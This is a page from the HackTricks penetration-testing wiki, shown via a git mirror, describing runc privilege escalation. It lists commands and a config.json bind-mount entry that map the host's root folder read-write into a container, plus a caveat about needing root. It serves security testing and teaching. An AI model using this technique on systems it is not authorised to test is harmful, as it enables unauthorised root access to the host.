1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00
hacktricks/linux-unix/privilege-escalation/runc-privilege-escalation.md

45 lines
1.3 KiB
Markdown
Raw Normal View History

# RunC Privilege Escalation
## Basic information
2021-11-30 17:46:07 +01:00
If you want to learn more about **runc** check the following page:
{% content-ref url="../../pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
```
2021-03-10 18:43:53 +01:00
{% hint style="danger" %}
This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
2021-03-10 18:43:53 +01:00
{% endhint %}